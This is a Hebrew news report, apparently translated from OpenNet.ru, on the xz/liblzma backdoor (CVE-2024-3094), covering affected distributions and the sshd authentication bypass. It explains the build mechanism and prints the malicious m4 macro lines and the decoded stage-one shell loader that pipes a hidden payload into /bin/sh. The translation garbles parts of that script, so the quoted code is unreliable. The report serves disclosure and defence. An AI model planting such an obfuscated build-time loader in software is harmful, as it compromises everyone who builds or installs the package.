ื“ืœืช ืื—ื•ืจื™ืช ื”ืชื’ืœืชื” ื‘ืกืคืจื™ื™ืช xz/liblzma ื”ืžืืคืฉืจืช ื›ื ื™ืกื” ื‘ืืžืฆืขื•ืช sshd

ื‘ื—ื‘ื™ืœืช XZ Utils, ื”ื›ื•ืœืœืช ืืช ืกืคืจื™ื™ืช liblzma ื•ื›ืœื™ ืขื–ืจ ืœืขื‘ื•ื“ื” ืขื ื ืชื•ื ื™ื ื“ื—ื•ืกื™ื ื‘ืคื•ืจืžื˜ ".xz", ื–ื•ื”ืชื” ื“ืœืช ืื—ื•ืจื™ืช (CVE-2024-3094) ื”ืžืืคืฉืจืช ื™ื™ืจื•ื˜ ื•ืฉื™ื ื•ื™ ืฉืœ ื ืชื•ื ื™ื ื”ืžืขื•ื‘ื“ื™ื ืขืœ ื™ื“ื™ ืืคืœื™ืงืฆื™ื•ืช ื”ืงืฉื•ืจื•ืช ืขื ืกืคืจื™ื™ืช ืœื™ื‘ืœื–ืžื”. ื”ืžื˜ืจื” ื”ืขื™ืงืจื™ืช ืฉืœ ื”ื“ืœืช ื”ืื—ื•ืจื™ืช ื”ื™ื ืฉืจืช OpenSSH, ืืฉืจ ื‘ื”ืคืฆื•ืช ืžืกื•ื™ืžื•ืช ืžืฆื•ืจืฃ ืขื ืกืคืจื™ื™ืช libsystemd, ืืฉืจ ื‘ืชื•ืจื” ืžืฉืชืžืฉืช ื‘-liblzma. ืงื™ืฉื•ืจ sshd ืขื ืกืคืจื™ื™ื” ืคื’ื™ืขื” ืžืืคืฉืจ ืœืชื•ืงืคื™ื ืœืงื‘ืœ ื’ื™ืฉื” ืœืฉืจืช SSH ืœืœื ืื™ืžื•ืช.

ื”ื“ืœืช ื”ืื—ื•ืจื™ืช ื”ื™ื™ืชื” ืงื™ื™ืžืช ื‘ืžื”ื“ื•ืจื•ืช ื”ืจืฉืžื™ื•ืช 5.6.0 ื•-5.6.1, ืฉืคื•ืจืกืžื• ื‘-24 ื‘ืคื‘ืจื•ืืจ ื•ื‘-9 ื‘ืžืจืฅ, ืฉื”ืฆืœื™ื—ื• ืœื”ื™ื›ื ืก ืœื›ืžื” ื”ืคืฆื•ืช ื•ืžืื’ืจื™ื, ืœืžืฉืœ, Gentoo, Arch Linux, Debian sid/unstable, Fedora Rawhide ื•- 40 ื‘ื˜ื, openSUSE ืžืคืขืœ ื•-tumbleweed, LibreELEC, Alpine edge, Solus, NixOS unstable, OpenIndiana, OpenMandriva ืจื•ืœื™ื ื’, ื–ืจื pkgsrc, ื–ืจื Slackware, ื‘ื“ื™ืงื•ืช Manjaro. ืžื•ืžืœืฅ ืœื›ืœ ื”ืžืฉืชืžืฉื™ื ื‘ืžื”ื“ื•ืจื•ืช xz 5.6.0 ื•-5.6.1 ืœื—ื–ื•ืจ ื‘ื“ื—ื™ืคื•ืช ืœื’ืจืกื” 5.4.6.

ื‘ื™ืŸ ื”ื’ื•ืจืžื™ื ื”ืžืงืœื™ื ืขืœ ื”ื‘ืขื™ื”, ื ื™ืชืŸ ืœืฆื™ื™ืŸ ื›ื™ ื”ื’ืจืกื” ืฉืœ liblzma ืขื ื“ืœืช ืื—ื•ืจื™ืช ืœื ื”ืฆืœื™ื—ื” ืœื”ืคื•ืš ืœื—ืœืง ืžื”ื’ืจืกืื•ืช ื”ื™ืฆื™ื‘ื•ืช ืฉืœ ื”ืคืฆื•ืช ื’ื“ื•ืœื•ืช, ืืœื ื”ืฉืคื™ืขื” ืขืœ openSUSE Tumbleweed ื•-Fedora 40-beta. Arch Linux ื•ื’'ื ื˜ื• ื”ืฉืชืžืฉื• ื‘ื’ืจืกื” ืคื’ื™ืขื” ืฉืœ zx, ืืš ืื™ื ืŸ ืจื’ื™ืฉื•ืช ืœืžืชืงืคื” ื›ื™ ื”ืŸ ืื™ื ืŸ ืžื—ื™ืœื•ืช ืืช ื”ืชื™ืงื•ืŸ systemd-notify ืœ-openssh, ืžื” ืฉื’ื•ืจื ืœ-sshd ืœื”ื™ื•ืช ืžืงื•ืฉืจ ืœ-liblzma. ื”ื“ืœืช ื”ืื—ื•ืจื™ืช ืžืฉืคื™ืขื” ืจืง ืขืœ ืžืขืจื›ื•ืช x86_64 ื”ืžื‘ื•ืกืกื•ืช ืขืœ ืœื™ื‘ืช ืœื™ื ื•ืงืก ื•ืกืคืจื™ื™ืช Glibc C.

ืงื•ื“ ื”ื”ืคืขืœื” ืฉืœ ื”ื“ืœืช ื”ืื—ื•ืจื™ืช ื”ื•ืกืชืจ ื‘ืคืงื•ื“ื•ืช ืžืืงืจื• m4 ืžื”ืงื•ื‘ืฅ build-to-host.m4 ื”ืžืฉืžืฉ ืืช ืขืจื›ืช ื”ื›ืœื™ื ืฉืœ automake ื‘ืขืช ื”ื‘ื ื™ื™ื”. ื‘ืžื”ืœืš ื”ื”ืจื›ื‘ื”, ื‘ืžื”ืœืš ื‘ื™ืฆื•ืข ืคืขื•ืœื•ืช ืžืกื•ื‘ื›ื•ืช ื•ืžืขื•ืจืคืœื•ืช ื”ืžื‘ื•ืกืกื•ืช ืขืœ ืืจื›ื™ื•ื ื™ื (bad-3-corrupt_lzma2.xz, good-large_compressed.lzma), ืฉืฉื™ืžืฉื• ืœื‘ื“ื™ืงืช ื ื›ื•ื ื•ืช ื”ืคืขื•ืœื”, ื ื•ืฆืจ ืงื•ื‘ืฅ ืื•ื‘ื™ื™ืงื˜ ืขื ืงื•ื“ ื–ื“ื•ื ื™, ืฉื ื›ืœืœ ื‘- ืกืคืจื™ื™ืช liblzma ื•ืฉื™ื ืชื” ืืช ื”ื™ื’ื™ื•ืŸ ื”ืคืขื•ืœื” ืฉืœ ื—ืœืง ืžื”ืคื•ื ืงืฆื™ื•ืช ืฉืœื”. ืคืงื•ื“ื•ืช ื”ืžืืงืจื• m4 ืฉืžืคืขื™ืœื•ืช ืืช ื”ื“ืœืช ื”ืื—ื•ืจื™ืช ื ื›ืœืœื• ื‘-tarballs ืœืฉื—ืจื•ืจ, ืืš ืœื ื”ื™ื• ื‘ืžืื’ืจ Git. ื‘ืžืงื‘ื™ืœ, ื ื›ื—ื• ื‘ืžืื’ืจ ืืจื›ื™ื•ื ื™ ื‘ื“ื™ืงื•ืช ื–ื“ื•ื ื™ื™ื, ื›ืœื•ืžืจ. ืœืื“ื ืฉื”ื˜ืžื™ืข ืืช ื”ื“ืœืช ื”ืื—ื•ืจื™ืช ื”ื™ื™ืชื” ื’ื™ืฉื” ื”ืŸ ืœืžืื’ืจ ื•ื”ืŸ ืœืชื”ืœื™ื›ื™ ื™ืฆื™ืจืช ื”ืฉื—ืจื•ืจ.

ื‘ืขืช ืฉื™ืžื•ืฉ ื‘-liblzma ื‘ื™ื™ืฉื•ืžื™ื, ืฉื™ื ื•ื™ื™ื ื–ื“ื•ื ื™ื™ื ืขืฉื•ื™ื™ื ืœืฉืžืฉ ื›ื“ื™ ืœื™ื™ืจื˜ ืื• ืœืฉื ื•ืช ื ืชื•ื ื™ื, ืื• ืœื”ืฉืคื™ืข ืขืœ ืคืขื•ืœืช sshd. ื‘ืคืจื˜, ื”ืงื•ื“ ื”ื–ื“ื•ื ื™ ื–ื™ื™ืฃ ืืช ื”ืคื•ื ืงืฆื™ื” RSA_public_decrypt ื›ื“ื™ ืœืขืงื•ืฃ ืืช ืชื”ืœื™ืš ื”ืื™ืžื•ืช sshd. ื”ื“ืœืช ื”ืื—ื•ืจื™ืช ื›ืœืœื” ื”ื’ื ื” ืžืคื ื™ ื–ื™ื”ื•ื™ ื•ืœื ื‘ืื” ืœื™ื“ื™ ื‘ื™ื˜ื•ื™ ื›ืืฉืจ ื”ื•ื’ื“ืจื• ืžืฉืชื ื™ ื”ืกื‘ื™ื‘ื” LANG ื•-TERM (ื›ืœื•ืžืจ, ื‘ืขืช ื”ืคืขืœืช ื”ืชื”ืœื™ืš ื‘ื˜ืจืžื™ื ืœ) ื•ืžืฉืชื ื™ ื”ืกื‘ื™ื‘ื” LD_DEBUG ื•-LD_PROFILE ืœื ื”ื•ื’ื“ืจื•, ื•ื›ืŸ ื”ื•ืคืขืœ ืจืง ื‘ืขืช ื‘ื™ืฆื•ืข ื”- ืงื•ื‘ืฅ ื”ื”ืคืขืœื” /usr/sbin/sshd . ืœื“ืœืช ื”ืื—ื•ืจื™ืช ื”ื™ื” ื’ื ืืžืฆืขื™ ืœื–ื™ื”ื•ื™ ื‘ื™ืฆื•ืข ื‘ืกื‘ื™ื‘ื•ืช ื ื™ืคื•ื™ ื‘ืื’ื™ื.

ื‘ืžื™ื•ื—ื“, ื”ืงื•ื‘ืฅ m4/build-to-host.m4 ื”ืฉืชืžืฉ ื‘-gl_am_configmake=`grep -aErls "#{4}[[:alnum:]]{5}#{4}$" $srcdir/ 2>/dev / null` โ€ฆ gl_[$1]_config='sed \ยปr\n\ยป $gl_am_configmake | eval $gl_path_map | $gl_[$1]_prefix -d 2>/dev/null'

ื‘ื‘ื ื™ื™ื” ื”ืจืืฉื•ื ื”, ืคืขื•ืœืช grep ืžืฆืื” ืืช ื”ืงื•ื‘ืฅ tests/files/bad-3-corrupt_lzma2.xz, ืืฉืจ ืœืื—ืจ ืคืจื™ืงืช ื”ื—ื‘ื™ืœื” ื™ืฆืจ ืืช ื”ืกืงืจื™ืคื˜: ####Hello#### #345U211267$^D330^W [ ! $(uname) = "Linux" ] && ื™ืฆื™ืื” 0 [ ! $(uname) = "Linux" ] && ื™ืฆื™ืื” 0 [ ! $(uname) = "Linux" ] && ื™ืฆื™ืื” 0 [ ! $(uname) = "Linux" ] && ื™ืฆื™ืื” 0 [ ! $(uname) = "Linux" ] && ื™ืฆื™ืื” 0 eval `grep ^srcdir= config.status` ืื test -f ../../config.status;ื•ืื– eval `grep ^srcdir= ../../config .status` srcdir="../../$srcdirยป fi export i=ยป((head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/ null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head - c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head - c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/ dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && ( head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +939)";(xz -dc $srcdir/tests/files/good-large_compressed.lzma|eval $i|tail -c +31233|tr "\114-\321\322-\377\35-\47\14-\34\0-\13 \50-\113" "\0-\377")|xz -F raw โ€”lzma1 -dc|/bin/sh ####World####

ื›ื™ืฆื“ ื”ืฆืœื™ื—ื• ื”ืชื•ืงืคื™ื ืœื”ืฉื™ื’ ื’ื™ืฉื” ืœืชืฉืชื™ืช ืฉืœ ืคืจื•ื™ืงื˜ xz ืขื“ื™ื™ืŸ ืœื ื”ื•ื‘ื”ืจ ื‘ืžืœื•ืื•. ื›ืžื• ื›ืŸ, ืขื“ื™ื™ืŸ ืœื ื‘ืจื•ืจ ื›ืžื” ืžืฉืชืžืฉื™ื ื•ืคืจื•ื™ืงื˜ื™ื ื ืคื’ืขื• ื›ืชื•ืฆืื” ืžื”ื“ืœืช ื”ืื—ื•ืจื™ืช. ื”ืžื—ื‘ืจ ืœื›ืื•ืจื” ืฉืœ ื”ื“ืœืช ื”ืื—ื•ืจื™ืช (JiaT75 - Jia Tan), ืฉืคืจืกื ืืจื›ื™ื•ื ื™ื ืขื ืงื•ื“ ื–ื“ื•ื ื™ ื‘ืžืื’ืจ, ื”ืชื›ืชื‘ ืขื ืžืคืชื—ื™ ืคื“ื•ืจื” ื•ืฉืœื— ื‘ืงืฉื•ืช ืžืฉื™ื›ื” ืœื“ื‘ื™ืืŸ ื”ืงืฉื•ืจื•ืช ืœืžืขื‘ืจ ื”ื”ืคืฆื•ืช ืœืกื ื™ืฃ xz 5.6.0, ื•ืœื ืขืฉื” ื–ืืช. ืœืขื•ืจืจ ื—ืฉื“, ืžืื– ืฉื”ืฉืชืชืฃ ื‘-xz ืžืคืชื— ื‘ืฉื ืชื™ื™ื ื”ืื—ืจื•ื ื•ืช ื•ื”ื•ื ื”ืžืคืชื— ื”ืฉื ื™ ืžื‘ื—ื™ื ืช ืžืกืคืจ ื”ืฉื™ื ื•ื™ื™ื ืฉื‘ื•ืฆืขื•. ื‘ื ื•ืกืฃ ืœืคืจื•ื™ืงื˜ xz, ื”ืžื—ื‘ืจ ืœื›ืื•ืจื” ืฉืœ ื”ื“ืœืช ื”ืื—ื•ืจื™ืช ื”ืฉืชืชืฃ ื’ื ื‘ืคื™ืชื•ื— ื”ื—ื‘ื™ืœื•ืช xz-java ื•-xz-embedded. ื™ืชืจื” ืžื›ืš, Jia Tan ืœืคื ื™ ืžืกืคืจ ื™ืžื™ื ื ื›ืœืœ ื‘ืžืกืคืจ ื”ืžืชื—ื–ืงื™ื ืฉืœ ืคืจื•ื™ืงื˜ XZ Embedded ื‘ืฉื™ืžื•ืฉ ื‘ืœื™ื‘ืช ืœื™ื ื•ืงืก.

ื”ืฉื™ื ื•ื™ ื”ื–ื“ื•ื ื™ ื”ืชื’ืœื” ืœืื—ืจ ื ื™ืชื•ื— ืฆืจื™ื›ืช ืžืขื‘ื“ ืžื•ื’ื–ืžืช ื•ืฉื’ื™ืื•ืช ืฉื ื•ืฆืจื• ืขืœ ื™ื“ื™ valgrind ื‘ืขืช ื—ื™ื‘ื•ืจ ื‘ืืžืฆืขื•ืช ssh ืœืžืขืจื›ื•ืช ืžื‘ื•ืกืกื•ืช Debian side. ืจืื•ื™ ืœืฆื™ื™ืŸ ืฉื”ืžื”ื“ื•ืจื” ืฉืœ xz 5.6.1 ื›ืœืœื” ืฉื™ื ื•ื™ื™ื ืฉื”ื•ื›ื ื• ืขืœ ื™ื“ื™ ื”ืžื—ื‘ืจ ืœื›ืื•ืจื” ืฉืœ ื”ื“ืœืช ื”ืื—ื•ืจื™ืช ื‘ืชื’ื•ื‘ื” ืœืชืœื•ื ื•ืช ืขืœ ื”ืื˜ื•ืช sshd ื•ืชืจื™ืกื•ืช ืฉื”ืชืขื•ืจืจื• ืœืื—ืจ ืฉื“ืจื•ื’ ืœื’ืจืกืช zx 5.6.0 ืขื ื”ื“ืœืช ื”ืื—ื•ืจื™ืช. ื‘ื ื•ืกืฃ, ื‘ืฉื ื” ืฉืขื‘ืจื” ื‘ื™ืฆืขื” Jia Tan ืฉื™ื ื•ื™ื™ื ืฉืื™ื ื ืชื•ืืžื™ื ืืช ืžืฆื‘ ื”ื‘ื“ื™ืงื” "-fsanitize=address", ืžื” ืฉื’ืจื ืœื”ืฉื‘ืชื” ื‘ืžื”ืœืš ื‘ื“ื™ืงื•ืช ื”-fuzz.

ืžืงื•ืจ: OpenNet.ru

ื”ื•ืกืคืช ืชื’ื•ื‘ื”